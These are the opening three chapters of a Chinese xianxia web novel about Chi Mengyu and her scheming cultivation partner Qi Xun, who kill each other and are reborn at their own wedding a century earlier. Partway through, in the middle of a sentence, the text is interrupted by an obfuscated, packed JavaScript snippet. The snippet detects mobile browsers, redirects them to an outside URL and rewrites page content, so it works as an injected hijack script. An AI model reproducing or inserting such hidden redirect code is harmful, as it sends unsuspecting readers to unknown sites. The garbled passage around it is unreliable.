《和道侣同归于尽后》 1. 重生第一剑 滋滋—— 充沛四溢的灵力在剑身流转,池梦虞手持月下剑,孤身站在镜心湖前。 而与她迎面对立的,是三宗同盟。 仙门百家以剑宗、天枢阁、九转门三宗为首,此时各宗高手肃然列阵,成围攻之势。 “交出魔族余孽!” 一片喊打喊杀的声势。 池梦虞临水而立,衣袂随风,横剑直指三宗,道,“无忧是我池梦虞的徒弟,谁敢动他。” 十年前,池梦虞在冰天雪地里捡到被冻得奄奄一息的无忧。 人间饥荒,不过是一个又脏又病,瘦骨嶙峋被遗弃的凡间少年。 随手将少年带回去,池梦虞治好少年的病,将少年收为徒弟,抚养长大。 镜谷多年冷清,朝夕相处,灿烂活泼的少年将谷里折腾出几分生气来。 直到,少年体内突然爆发出冲天的魔气。 池梦虞抬手化去他身上的魔气,将他带到镜心湖中央的洗灵台,让他就地打坐。 刚回到湖边,所谓人间正道的三宗同盟就到了。 “魔族早在五十年前,就已经被仙门彻底诛杀。无忧不过□□凡躯,连这个山谷的门都没出过,更不曾伤人作恶,你们凭什么要带走我的徒弟。” 池梦虞剑上的银白光芒刺眼,极强的威压让众人不由自主地往后退了退。 月下一剑,可敌三宗。 “大宗主!” 剑宗宗主戚寻负手往前迈了几步,一身金枫黑衫,手无寸刃,走出几分漫不经心的倦怠感,威压在他面前形同虚设。 倒不是他的灵力境界在池梦虞之上,而是池梦虞与他曾是双修道侣,结下灵力共渡的契。 剑宗又是三宗之首,戚寻居大宗主之位,统领整个仙门。 即使身居高位多年,他散漫恣意的性子依旧,并且从不带剑,剑宗宗主不用剑,亦是仙门中众说纷坛的传闻之一。 “梦虞,伏魔阵的异动不可能有假。”戚寻目光沉静地看向池梦虞。 五十年前仙门诛杀魔族,后三宗合力设下天地大阵,只要出现魔气,便会第一时间感应到。 “然后呢?带走他扔到诛魔渊里。”三宗的做法一贯如此,池梦虞眼神微怒,“他才刚满十七岁!” 早晨无忧还去后山摘了桃花,兴冲冲地给她做桃花酥,面皮才刚擀好。 戚寻耐心劝道:“他身上的魔气既然已经觉醒,一旦魔核结成,于世间而言又是灾难。” 池梦虞单薄的身形凌厉似剑,垂首敛眸道:“他是我徒弟,我不会让他为祸世间。” 戚寻轻缓一叹,试图再走近几步,“你我夫妻百年,他不过一个来路不明的魔族余孽,你就不能,信我一次。” “夫妻百年?”池梦虞冷笑,眼尾尽是寒意,“这百年,你为了这世间,与我双修结契,把我当灵力源流,一次次取我仙髓。” 心绪涌动,池梦虞转头看向湖面,“仙髓确会再生,但你可知,那是种仿佛四肢百骸都被敲碎的痛。” “如今又是为了这世间,你要夺走我徒儿的性命。” 池梦虞猛地抬手。 沿着湖边掀起一道剔透镜面铺成的禁制,影绰银光将整个湖心笼罩其中。 只要池梦虞在,这道禁制足以挡住三宗同盟这些人。 反手将剑刃回拉,映出一双银瞳凛若冰霜,池梦虞将灵力聚到剑上,纵身上前,直劈戚寻。 银白的灵力光华流转,池梦虞挥剑招式简单,却式式都裹挟着汹涌的灵力。 戚寻快在身形变换,他修的是术法,寥寥结了几个印,沉稳轻盈地躲开池梦虞的攻击,快得让人无法看清他的身形。 但池梦虞不让他躲,左右挥下两剑,下一剑直取戚寻的心门。 戚寻不得不抬手在胸前迅速结印,金色的防御法阵在身前炸开,与池梦虞的剑尖铮然撞上。 让人睁不开眼的两道光芒较量着。 两人之间结着灵力共渡的契,池梦虞越耗灵力去破戚寻的法阵,法阵只会在池梦虞身上汲取更多的灵力去对抗。 戚寻指尖一颤,法阵碎成金色烟尘散开,月下剑贯穿戚寻的胸口。 鲜血从口中涌出,戚寻踉跄着单膝跪在地上。 此时他才意识到,池梦虞是真的要杀他。 两人都是世间修士境界最高者,剑刃穿心要不了戚寻的命,唯有碎了他的仙魄。 池梦虞冷眼看着溅到自己手背上的血,抬高声音,召来她的法器,“云生!” 云生镜在空中幻出无数的三角镜面,尖锐的一端直指戚寻后背。 “池梦虞,你不能杀我……” 戚寻吐着血,急促喘息,眼眶通红望着池梦虞。 连半分迟疑也没有,池梦虞抬手,璀璨锋利的镜尖在灵力操纵下,全部集中往戚寻刺去。 无数镜片刺进戚寻的后背,腾起一片血雾。 同一瞬间,戚寻往前扑身,手掌刺穿池梦虞的身体。 噗嗤—— 池梦虞身形一顿,那只手掌抓住了她体内的仙魄,决绝地一用力,仙魄猝然碎成齑粉。 湖面上的禁制轰然落下。 “大宗主!” 三宗的人纷乱疾步,剑宗的弟子围着戚寻,有人奔往湖心去抓那个魔族少年。 池梦虞睁了睁眼,往一旁倒下,鲜血不断从嘴角涌出,银色光芒从她身上散开。 戚寻的手还在她的体内。 她曾经是爱过戚寻的,爱到心甘情愿与他结契,除了灵力共渡,那个契还意味着,把命交到对方手上。 只是,她没想到,戚寻会用来,与她同归于尽。 剑宗的人还在尝试用灵力给戚寻续命,池梦虞咽了口血,笑了笑。 没用的,戚寻必死无疑。 视线已经模糊了,池梦虞看见无忧挣脱挟制,哭着朝她跑来。 她也快死了,可是她还没吃到桃花酥。 闭上眼睛之前,无忧跪在她的身旁,她好像还听到带着哭腔的一声,“师父!” 陷入无尽的黑暗,百年过往一幕幕纷至沓来。 * 入世那年,池梦虞刚满十八,她忘了自己是为何而来,只记得,她要去一个地方。 叫阑州城。 冥冥之中好像有什么牵引着她,很快她就到阑州城下。 进城之后,池梦虞发现,不过是座繁华喧嚣,百姓安居的凡间城池。 街上行人熙攘,小摊贩吆喝声不绝入耳,三五步便能见一茶馆或酒肆,门庭若市张罗着生意。 与她路上途径的那些城池并没有区别。 闻到路边腾腾热气飘出来的香味,池梦虞是真的有些饿了。 刚走上前,包子摊的婆婆掀开盖子,笑容和善地招呼池梦虞,“姑娘吃甜馅,还是咸馅?” 一身素净白衫高挑出尘,池梦虞微微抿唇,欲言又止了好一会儿。 这些天的游历,她了解到凡间的东西都是用银子来买卖,但她还没找到可以得到银子的方法。 目光粘在包子上好一会儿,池梦虞垂眸失落地正要转身。 “姑娘从别处来的吧?饿了?”婆婆一眼看出她的难处,拿纸包起两个包子,递到池梦虞面前,“豆沙馅的,先垫垫肚子。” “谢谢阿婆。”池梦虞眼角一弯,清透的双眸溢出笑意。 接过包子的双手比常人要白上许多,白得接近透明,仿若瓷器一般,池梦虞低头刚咬上一口包子,身后传来骚乱的喊叫声。 “快跑!马疯了!” 嘶鸣的两匹马拖着一架马车,狂奔着撞翻小摊,正朝着池梦虞的方向冲过来。 眼见着要撞上包子摊,年迈蹒跚的婆婆避无可避。 “快闪开!” 池梦虞站在原地,抬头时下意识伸手,抓住马辔,她双眸银光乍现,闪电般的灵流从她的掌心涌出。 下一瞬,以池梦虞为中心,炸裂声四起,失控的马车,街两边的小摊、商铺、茶馆酒肆,全都轰然炸成碎片,腾起如雾烟尘。 方圆一里内,皆成废墟。 因为炸得太快太碎,街上的人除了吓得抱头瘫在地上,没有人受伤。 意识到自己又没有控制住灵力,池梦虞僵在原地,脚边包子滚了一地,沾满灰尘。 “……怪物。” 烟尘散去,街上先反应过来的人,讷讷地指着池梦虞,神色惊恐万分。 废墟中,池梦虞白衣长身而立,垂下银色双眸看向惊慌失措的凡人,倒真的如同鬼魅临世。 “这怪物是什么东西啊。” “她不会杀人吧。” “谁来赔我们的损失啊。” 众人从一片狼藉中起身,七嘴八舌议论纷纷,但没人敢靠近池梦虞。 离池梦虞最近的,是原本马车上带着孩童的夫人,瘫倒在碎裂的马车上惊魂未定。 如果不是池梦虞,这场马疯这位夫人和孩童应当凶多吉少。 池梦虞俯身想扶起这位夫人,还没伸手,夫人把孩童紧紧护在怀里,瑟瑟发抖着往后退缩,吓得花容失色。 所有人都看怪物一样看着池梦虞,那些眼神中的害怕和憎恶,如芒在背。 池梦虞本就不善言辞,一时间不知道该如何辩解。 身后一个慈祥的声音缓缓开口,“姑娘,你是修仙之人吧?” “婆婆?”池梦虞恍然回头,看到毫发无损的婆婆,这才松了口气。 “我看你灵力非凡,应该是修仙之人。”婆婆拍拍裙裾上的灰尘,起身,和善依旧,“姑娘往城西去,城外里苍山上有个仙门叫天枢阁。” “修仙之人也没见过像她这样的。”有人语气不善地道。 婆婆转向那人,从容正色道:“平日都是多亏了天枢阁的仙长降凶除祟,城里才能太平安然,这位姑娘刚也是救人心切,我们凡人就是得了庇护,如今反而还要对修仙之人避如蛇蝎算什么道理。” 池梦虞心尖一暖,看着满地的包子,愧疚难言,只能道:“婆婆,天枢阁怎么走?” 至少是个仙门,那应该也都是有灵力的人。 得到方向,池梦虞把手里的两个包子吃完,来到里苍山下。 山间云雾缭绕,一道几乎望不到尽头的石阶通往山顶。 还好吃了两个包子,池梦虞才有力气爬上去。 好在天枢阁不是个小气的门派,听说池梦虞想要入阁,先招待了她一顿好吃好喝。 天枢阁弟子卢昱桐负责入门仪式,按门规要先测一下根骨。 接着,山顶响起三通巨响。 随后,池梦虞被请出天枢阁大门。 门里,卢昱桐崩溃到焦头烂额,语速飞快地吼:“掐个诀就炸一座殿,掐一个炸一座,她要是入阁,别说我们小小天枢阁,没几天这山头都得炸没了!” 池梦虞站在山道上,心想,收回前话,天枢阁就是个小气的门派。 如纱般的山风轻拂过发梢,池梦虞背着手,神色孤寂望着缥缈远处。 游历的这些天,像在城中被当成怪物的次数已经数不过来,如今连修仙门派也将她拒之门外。 这么大的天地,竟没有她的容身之处。 就在此时,天枢阁的大门又打开了。 另外一个人也被请了出来。 那人还不死心,回头扒住门,清脆的声音打着商量道:“我还自创了几个阵法,若让我入阁,定能让天枢阁实力大增。” “戚公子,你行行好吧!要是让你入阁了,戚宗主非得踏平我们这小小山头不可。”卢昱桐再次崩溃大吼,死死顶住门不让进。 “你也别再乱开阵眼,连禁阁都说来就来!我们天枢阁虽然小,但也是要面子的!” 天枢阁的禁阁除了阁主和亲传弟子,都不得入内。 卢昱桐不过天枢阁的外门弟子,平时干杂活比修炼还要多。 刚送走一个炸掉三座殿的池梦虞,一回头就看到戚寻从他们讳莫如深的禁阁中闲庭信步走出来。 顿时从山顶直接跳下去的心都有了。 看把人一个外门弟子急得脸红耳赤的,戚寻过意不去,往后退了一步。 那门以迅雷不及掩耳之势,重重关上。 道边的嶙峋山壁上,苔痕泛青,脚边石阶缝里,长着不知名的黄色小花,长风轻柔拖卷着朦胧的山雾。

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“镜渊是什么地方?”戚寻疑惑道。 “……我不记得了。”池梦虞眼中蒙着雾气,迷茫了好一会儿,垂眸看着山道,“我忘记回家的路了。” “……”戚寻似乎无意再追问。 池梦虞有些困倦,便在石阶坐下,仰头看着戚寻问,“那你呢,你怎么也被赶出来了。” 戚寻往后靠在山道边的石壁上,闲散地环着手臂,道:“我爹是剑宗宗主,但我娘是个凡人,我是我爹在凡尘意外惹下的因果。” “修凡有别,他们管我叫,什么来的。”戚寻斟酌了一下,淡淡道,“野种。” 这两字听着,比怪物好不到哪里。 池梦虞感觉胸口闷闷的,小声嘀咕道:“怎么感觉,你比我还可怜。” 远处日光西移,戚寻握拳抵在嘴边,掩住笑意。 虽然因为血脉关系,他无缘少宗主之位,但也是锦绣丛中长大,而且他自己不喜欢修剑,倒养成了个玩世不恭,恣意潇洒的性子。 跟池梦虞说的可怜,恐怕沾不到边。 戚寻转移话题,道:“天快黑了,我在山下放了阵眼,一起下山吗?” 池梦虞眼神又亮了:“阵眼?不用爬石阶?” “嗯。”戚寻摆了个起手式,风度翩翩地掐诀开阵。 石阶上划开一道阵门,戚寻朝池梦虞伸手,握着她的手腕。 两人从阵门进,再跨出时,已经是山下的风景。 当一个人在整个世间与她对立时,有个人与她站在了同一边,几乎都会不由自主地萌生信赖。 山下,在戚寻笑意明朗与池梦虞致意告别时,她下意识地便揪住戚寻的袖子。 寒去暑来,两人并肩游历世间,渐渐互生情愫。 戚寻找了很多法子,还是没有办法解决池梦虞一动用灵力就失控的问题。 在世人眼中,她就是个随时带来毁灭的异类。 在术法上,戚寻天赋异禀,连主修阵法的天枢阁他都能来去自如。 从天枢阁的禁阁中,研究了大量的术法秘籍,戚寻开创出可以灵力共渡的契术。 戚寻说,结契之后,他们就一样了。 此时池梦虞已经把戚寻当做最信任的人,她跟着戚寻回了剑宗,与戚寻成亲,双修,结契。 刚开始那十年,两人是仙门最让人艳羡的恩爱道侣。 直到仙门一场大乱,再到戚寻当上大宗主,统领三宗。 池梦虞才意识到,灵力共渡,只是戚寻为了登上那高位借的力。 成亲和双修都是利用。 随后戚寻又以他大宗主的身份,将剑宗守护的一把上古仙剑月下送给池梦虞。 池梦虞惊喜地发现月下剑能承受她的灵力,运转自如。 她的境界一下子在仙门百家中,无人能敌,仙门对她的忌惮达到前所未有的地步。 而身为大宗主,戚寻必须要给仙门百家一个交代。 原来与池梦虞站在同一边的人,却将她幽禁起来。 仙门的事情很多,戚寻很少去看池梦虞。 在剑宗的无华殿中,池梦虞孤身枯坐了一年又一年。 直到戚寻心急如焚地过来找她,让她取仙髓救人。 取了一次,就有下一次。 不知道取了多少次之后,有次池梦虞痛得昏过去,意识朦胧间,听到屏风外有说话声。 她听出来,是戚寻和他娘辜妍心。 本早应百年归逝的辜妍心,声音却依然年轻,“这世间能修出仙髓的修士掐指可数,你可要稳住她。” 戚寻漫不经心地应了一句:“放心,我能哄好。” 稍加调查,池梦虞才知道,戚寻屡次取她的仙髓,竟是为了给他的凡人娘亲续命。 戚寻竟作出如此有悖天理伦常之事。 此后,池梦虞一剑将无华殿掀了,头也不回地离开。 孑然此身,她只记得回镜渊的路在镜心湖,便在湖边住下。 无忧的出现,为她带来了短暂的欢乐。 而她与戚寻十年未见,戚寻一来,又是站在三宗那边,与她对立。 最后一幕是戚寻通红着眼望着她,含着血哀求。 “池梦虞,你不能杀我……” 走马灯般的记忆四散开来,如烟尘消散不见,只剩下空茫的黑暗。 黑暗中回荡着一个声音,那是个男声和女声重叠同时发出的,梵音般厚重,仿若烙印般刻进人的脑海里。 那个声音说,“……杀了他。” 一遍又一遍,“杀了戚寻!” 黑暗忽然泼洒上猩红,池梦虞缓缓睁开眼。 眼前仍然蒙着一层暗红,沉沉地呼吸了好几口气,池梦虞才意识到,那是盖在她头上的红盖头。 她重生了,重生在百年前她和戚寻成亲的时候。 2. 先斩意中人 手心握着柔软的红绸,池梦虞呆站了好一会儿,才从混沌中清醒过来。 “三拜!恩爱两不疑——” 一旁喜娘高声喊完,不想正中两位红衣新人却同时像是被冻住了。 隔着红盖头,池梦虞与戚寻面对面站着,垂眸凝视着自己的双手。 四周宾客小声交头接耳,不知道发生了什么。 喜娘不得不再喊一声,“三拜——” 话音还未落,池梦虞忽然抬手掀开盖头,就这么仰面对上戚寻的目光。 凤鸾金钗摇曳,眉间花钿如血,冰肌玉骨被胭脂描摹得如诗如画,池梦虞这一身嫁衣,美得摄人心魂。 戚寻难得装束庄重,里三层外三层的鹤纹红袍,金冠束发,此时长睫微垂,盯视着池梦虞,肩背微不可察一松。 “杀了戚寻。” 那个声音突然清晰地在耳边炸响,池梦虞眼中银光出现,转身拔出一旁宾客身上的佩剑,毫不犹豫地运转灵力。 但那不是月下剑,根本承受不了她的灵力,剑刃瞬间裂成碎片。 闪电般的灵流在殿中炸开,银色光芒所到之处,墙崩地裂。 好在在场的基本上都是修士,纷纷拔剑避闪,对这陡然的变故全都满头雾水。 高堂之上,剑宗宗主戚佑立马起身,将辜研心护在他身后。 场面大乱,池梦虞眼中只有戚寻,连着爆了好几通灵力,戚寻避无可避,刚挥开弥漫眼前的灰雾,池梦虞提剑朝他刺过来。 金钗坠落,池梦虞收了灵力,握着剑柄,剑刃穿入戚寻的胸膛。 百年前的戚寻还没修炼出仙魄,穿心而过就能要他的命。 戚寻好像早知池梦虞要杀他一般,但池梦虞太快了,在那剑刃刺进胸膛的瞬间,戚寻并指掐了个护心诀。 好在他也从百年后重生而来,不然必定再次死于池梦虞剑下。 但只护住了心脏,剑刃依然穿胸而过,鲜血喷涌而出。 池梦虞握着剑,面无表情地看着戚寻,眼中有热乎乎的泪忽然顺着脸颊流下,让池梦虞动作一顿。 她意识到,这应该是百年前的这具身体在流泪。 瞬息间,戚寻掌心凝出金色的攻击法阵,往池梦虞的胸口一击。 池梦虞的愣神在他意料之外,这一掌结结实实地将池梦虞击飞,后背撞在柱子上,呕出一口血来。 “……对不起。”戚寻口中鲜血不断涌出,神色痛苦万分。 吵嚷的声音模糊散去,戚寻眼前一黑,强撑着在彻底失去意识前,落下一个屏息阵法。 血涌如柱的身体猝然倒下。 前一刻喜乐喧鸣,红绸如云的剑宗主殿上,转眼间宾客惊慌失色,华殿坍塌一片狼藉。 身着深红喜袍的两位新人,躺在血泊之中,近处的人慌忙上前一探。 鼻息全无。 辜研心跌撞着,扑倒在戚寻身边,悲痛欲绝地恸哭失声。 * 剑宗宗主之子的喜事,陡然间变成丧事。 丧事整整办了三天,吊唁的人都披麻戴孝,灵堂上白绫飘荡,玄黑色的双人棺椁中,两人还是成亲的那身红衣。 在纯白素缟的灵堂之中格格不入,透着几分莫名的诡异。 夜色暗沉,四下悄寂,棺椁前的火盆吞烧着冥纸。 尚未盖棺的棺椁中,一只瓷白修长的手缓缓伸出,按在棺沿。 借力一撑,池梦虞面无表情地从棺椁里坐了起来,红衣金钗,脸色素白如纸。 她像是还没从梦魇中醒来,目光沉沉转向躺在一旁仍然闭着眼的戚寻。 “杀了戚寻。” 那道重叠的声音又在脑海里响起。 反手拔下金钗,池梦虞果断地往戚寻的脖子刺下去! 夺一声,金钗险险贴着戚寻脖子钉在棺底。 避开杀招,戚寻猛地睁开眼,抬手按在池梦虞的手腕上,狭窄的棺椁中,电光火石间两人拆了数招。 眼见池梦虞眸中银光出现,灵力随时失控,戚寻握着池梦虞的手腕,借力往自己右肩扯过去,钗尖穿透他的肩胛骨,同时后背重重撞上棺壁。 池梦虞坐在戚寻身上,手握着金钗,温热的血浸透她的掌心。 好一会儿,她眼中的银光褪去,从那种被魇住的神色中醒来,浓长的睫毛颤了颤,掀起眼皮看向戚寻。 “……咳,池梦虞,我们有这么大仇?”戚寻嘴里含着血,勉强镇定地露出一个笑容,“今天不是我们的大喜日子吗?” 戚寻确实带着前世的记忆重生回来,但他不能让池梦虞看出来。若池梦虞知道他也重生,估计真会毫不犹豫再杀他一次。 沉默,池梦虞眸中带着水光,似压抑着什么。 戚寻很慌,刚想动,被池梦虞抬手按住。 “你先别动。”池梦虞闭了闭眼,纷乱的思绪总算理出一根线头来,她睁开眼,喃喃道:“百年之后,你做了让我想杀了你的事。” 前世戚寻对她做过的那些事,镜心湖边刺入自己身体的那一掌,池梦虞都记起来了。 杀意悬在颈侧,戚寻低头咳出一口血来,黯然神伤道:“如果我真做了那种事,那便不要原谅。” 绝不能让池梦虞知道他也重生了。 池梦虞神色一顿,杀意逐渐消解。 她抬手往戚寻的伤口边点了两下止血,从他身上下来。 “你很不好,骗了我很多次,但我也杀了你一次。”池梦虞垂眸,缓过心口的一阵闷痛。 前世百年,爱过你,杀过你。 池梦虞抬手将头上的凤鸾金冠取下,放到棺椁里。 就像放下前世的恩怨纠缠。 眼前的戚寻,不是百年之后那个人。 “你我三拜未成,成婚不作数,这一世,桥归桥,路归路,不再相见。”池梦虞跃身出棺。 她没再看戚寻一眼,决绝地离开灵堂。 * 戚寻将插在肩头的金钗拔下,并指凝出绿色的光芒,那是九转门独有的疗愈术法,修为越高则疗愈功效越高。 只见戚寻伤口迅速愈合,皮肉复原,原先心口被贯穿的剑伤也恢复如初。 不止九转门的术法,仙门百家各种独门术法戚寻都信手拈来,除了本宗剑宗的剑术不修,戚公子什么都修。 因为天赋异禀,只要与修士交手过招看过一遍,便对施术手势过目不忘。 而前世在他与池梦虞结契后,有了灵力加持,其施展的术法,甚至远在仙门各门主之上。 仙门修士对他都是又嫉恨又敬畏,他几乎就是行走的百家术法全书,以一己之力,让大半仙门放弃几代的术法根基,转修剑术。 后来在那场仙门大乱中,他踏上统领仙门的大宗主之位。 剑宗因此在短短十几年间,不断扩大,成了仙门第一大宗。 剑宗之外,百家凋零。 而身为统领剑宗的大宗主,戚寻却连剑都不佩戴,随后软禁持月下剑的池梦虞,让他得以高枕无忧稳坐大宗主之位。 胸口的剑伤连半点伤痕都没留下,但被池梦虞捅了两次的地方,仍在隐隐作痛。 戚寻背靠着棺壁,缓缓轻叹,他筹谋百年,就只差一点。 因为池梦虞的一剑,又回到百年前。 此时离仙门那一战,还有十年。 还没理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836875|159090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出头绪来,半颗脑袋探进棺椁,正对着戚寻眨了眨眼。 两人对视,探头的李星月先小声地发问:“大师兄,你今晚还睡这儿吗?” 戚寻愣神一笑,“你怎么在这?” “我、我一直都在啊,今夜我在这儿守灵。”李星月圆脸圆眼睛,个子也不高,看着呆萌让人想捏一把脸。 实际上胆大包天,别说让她守灵,让她进棺椁一起块儿睡,她都会觉得太好了,那比地板好睡多了。 也还好是她守,要是换别人,见这两人半夜诈尸,早一嗓子嚎得整个宗门都醒了。 “就你一个人?”戚寻拍了拍衣服,跃身下地。 李星月是他的同门小师妹,他仗着血缘,理所当然地成为剑宗内门大弟子,连少宗主戚若阳因为年少一岁,也要喊他一声大师兄。 而李星月是真正靠自己勤学苦练,将剑式挥了上千次,才在五年一次的剑修大比中脱颖而出,成为剑宗内门弟子。 包括戚寻在内,剑宗内门弟子仅八人,李星月是唯一的师妹。 不管怎么说,他还有六个师弟,怎么也不应该是小师妹一个人守灵。 “师兄们怕鬼,我不怕,我一个人可以。”李星月笑盈盈地拍了拍胸脯。 “哦。”戚寻皮笑肉不笑地点点头。 李星月除了胆大,单纯到近乎缺心眼,他这几个师弟,平日里最喜欢干的,就是捉弄李星月。 他闭着眼都能想象到,这几个师弟,怎么装出瑟瑟发抖,说些什么要是大师兄死不瞑目诈尸会吓到翘兰花指之类的鬼话。 李星月好骗又仗义,成天把锄强扶弱挂嘴边,立马义不容辞一一送她那几位“弱柳扶风”的师兄回屋睡觉,独自回灵堂守灵。 风忽然吹灭火盆,垂地的白绫腾起翻飞。 黑黢黢的灵堂上,戚寻红袍委地,立在棺椁前,缓缓地朝李星月歪过头,露出一个厉鬼诈尸的笑容。 下一瞬,李星月若无其事地蹲下身,又扔了一叠冥币到火盆里,呼呼吹几下,重新把火盆点了。 “……”戚寻笑容一收。 没错,同门其他人捉弄李星月都易如反掌,除了戚寻,毫无例外次次碰壁。 “大师兄,师嫂走了,你打算怎么办啊?”李星月把火盆倒腾亮起来,操心地问。 戚寻眼神幽幽,将头上的云鹤金冠也取下来,放到凤鸾金冠边上。 成对的金冠静静躺在棺椁里,戚寻凝视许久,吐出一个字,“追。” 李星月立马站起来,“你们都走了,那我怎么办?” 守灵把两具尸体都守没了,她怎么跟宗主交代。 “业礼门往西三里,有个驿站,你先去那里,天亮后你师嫂会从那里经过,替我保护她。”戚寻交代完,转身往另一个方向走。 李星月一头雾水,连忙问:“大师兄,那你去哪?” 戚寻背着手,丢下一句:“去我那几个怕鬼的好师弟床头转一转。” 捉弄小师妹这账得好好算算。 李星月焦急地朝着戚寻的背影大声地喊:“别啊,三师兄会吓到翘兰花指的!” 见戚寻头也没回,李星月脸颊鼓了鼓,还是默默地背着剑,朝剑宗业礼门方向走去。 夜色如水,穿行于回廊间,戚寻嘴角是掩饰不住的笑意。 这几个师弟平日不正经惯了,其实剑术在仙门之中都是个中翘楚,捉弄李星月的事情没少干,但也对李星月的剑术多有提点。 前世仙门那场大战,他的六个师弟将李星月护在身后,最终六人身死,换回一个不再天真的李星月。 这群小混账,此时都好好地,在各自屋里酣然大睡。 3. 金枫秋色图 百年前的剑宗虽然还没成为仙门第一大宗,但绝对是最有钱的宗门之一。 错综复杂的殿宇间,池梦虞第五次拐错方向,等走到没有遮挡的通道上,抬头一望,下弦月又跑到身后去。 因为摘了发钗,她一头如瀑墨丝披在身上,层层叠叠的嫁衣绯红如霞,夜色下,薄瓷般的肌肤更显得苍白无华。 乍看之下,要多渗人有多渗人。 于是她放弃随机挑选幸运弟子问路的想法。 转身重新往下弦月的方向走去,路旁树影婆娑晃动,池梦虞脚步一顿,蹙起眉头,脑海里那道梵音又毫无征兆地响起。 “杀了戚寻。” 太阳穴针扎一般扯痛,池梦虞攥紧拳头,凝神定心,好一会儿,那刺痛才退散开。 将灵力涌动稳稳地压下,池梦虞眼神恢复清明,没再被控住心神。 一身天青色弟子服的李星月从树影后走出,扶住池梦虞,唤道:“师嫂,你没事吧?” 池梦虞抬头,惊喜地看向身旁的李星月,她半挽着头发,别着金色的枫叶发簪。 “师嫂,你受伤了。”李星月飞快地翻储物袋,倒出一堆的瓶瓶罐罐。 池梦虞按了按胸口,殿上戚寻那一掌确实留下不轻的内伤,她淡淡道:“星月,我与戚寻婚事未成,以后别这么叫我了。” 李星月停了一下,从善如流地露出笑容,给她递了一个小瓶子,“好的,池姐姐,这是复元丹,治内伤的。” “谢谢。”池梦虞不疑有它,倒出一颗暗棕色的丹药,吃下去,“星月,我找不到路,你能带我去西门吗?” 池梦虞对剑宗并不熟悉,她只知道自己要往西走。 “西门?池姐姐说的是业礼门吧,我带你去。”李星月指了指方向,脚步轻快地往前走。 两人很快走到剑宗六门之一的业礼门,门楼上竟没有弟子守着。 前世剑宗扩大后,便以六门为界限,分成了内宗和外宗。 将池梦虞送出业礼门,李星月笑盈盈地朝她挥手。 直到池梦虞的身形隐入夜色之中,李星月抬手,将头上的金枫发簪摘下,如烟的金色光芒掠过,他的手放下,正是施了易容幻术的戚寻。 易容幻术仅存记载在天枢阁禁阁之中,其术法简易,施术者只能幻成见过且存在的人,即死人不行,所以一旦碰上本人,幻术就会被识破。 在仙门中被视为无用的伎俩,几乎无人修习。 戚寻搓了搓指尖,凡用易容幻术,都会有一个肉眼可见的破绽,比如戚寻幻成李星月,头上的金枫发簪,就是他的本体。 本体一旦离身,易容幻术立消。 这招能在池梦虞面前用几次,还不好说。 天光乍现。 池梦虞换了身素白的衣裳,一路往阑州城的方向赶。 她想要回镜渊,想要回家。 前往阑州城的路像是刻在她灵魂里的,怎么都不会忘了。 但阑州城离剑宗是真的远。 此时池梦虞还没有月下剑,无法御剑,刚走过一里路,才发现自己身上没带水也没带钱。 与戚寻同行惯了,无论什么时候她渴了或饿了,戚寻都能随时掏出干粮和水。 身后传来一阵马蹄声。 池梦虞回过头,一辆双辔马车在身旁停下,扬着马鞭的卢昱桐兴高采烈地朝她挥手,“池姑娘?真的是你。” 池梦虞记起这个之前给她做入门测试的天枢阁外门弟子。 卢昱桐从马车上跳下来,一身绀紫色的天枢阁弟子服,少年英气的马尾系着一根绀紫色发带,末端绣着几抹金色枫叶,随风扬起。 “池姑娘这是要去阑州城吗?我回天枢阁刚好顺路,要不要一起?”卢昱桐一脸真诚地发出邀请。 池梦虞眼神一滞,混沌中那个声音朦胧地萦绕着,如私语般在她耳边不停地叫嚣,“杀了戚寻,杀了戚寻……” “闭嘴。”池梦虞双眼看着虚空,灵力甚至没有半分涌动,冷冷地迸出两个字。 “啊?”卢昱桐呆愣地张了张嘴,心虚地眨了眨眼。 “抱歉,不是冲你。”池梦虞神色恢复,欠身表示歉意,“那就麻烦卢公子了。” “不麻烦,不麻烦。”卢昱桐连忙摆手。 马车速度快了许多,不一会儿便到驿站。 卢昱桐勒住缰绳,回头靠近车帘,道:“池姑娘,驿站到了,先到茶肆休息一下。” 池梦虞应声,刚下马车,迎面就看到背着剑的李星月朝她挥手,远远地就大声喊:“师嫂!” 李星月让小二再上一壶茶,池梦虞在四方桌边坐下,道:“不是跟你讲了不要这么喊我。” “好吧。”李星月也亲眼目睹了婚殿上两人反目的一幕,就转移话题道:“我在这里等了你一夜,你可算来了。” “你不是……”池梦虞看向李星月头顶的玉桂花银簪以及背上的剑,喝茶的动作一顿,话音一转道:“没什么。” 李星月眨眨眼睛,身体往后仰,朝茶肆外望去,问:“我大师兄呢?” 池梦虞把茶杯放下,低着头轻声道:“他不会来,我们分开了。” 一旁的卢昱桐捏了一把汗,眯着眼睛笑了笑。 休息完,李星月坚持要跟池梦虞一起走,死死扒着马车:“我答应大师兄,要保护你。” 池梦虞很想抬手把马车爆了,让李星月知道,她不需要保护,但考虑到外门弟子赚钱不易,马车炸了卢昱桐这孩子又得崩溃。 到时候她得哄两个,想想就头大。 拗不过李星月,池梦虞只能让她上马车,带她一起走。 若是御剑半日便能到,这一路走走停停愣是走了半个月,才到阑州城。 城中烟火繁荣,行人过客熙攘。 和记忆中的模样差不多,池梦虞三人找了家客栈落脚。 在靠窗的桌子坐下,李星月兴致高昂地招呼小二,点了一桌子的菜肴。 刚动筷子,卢昱桐瞥见窗外一行穿着绀紫色校服的天枢阁弟子朝客栈这边过来。 走在最前面,玉立群芳的正是天枢阁大师姐顾应湘。 不妙。 这马甲这么快又废了。 “哎呀,马还没喂,我去喂!”卢昱桐撑着窗沿一翻,落地时抬眸已是戚寻的脸,他抬手抓住发带末端,随手一扯,一身紫衣消失在人流里。 李星月咬着鸡腿,莫名其妙地含糊道:“他喂马干嘛要走窗户?” 池梦虞看向窗户不语。 天枢阁弟子一行走进客栈,小二连忙笑脸迎上去招呼。 顾应湘袖口利落地束紧,转头看到池梦虞,便径直地走过来打招呼,“这么巧,你们也去藏雪楼吗?” 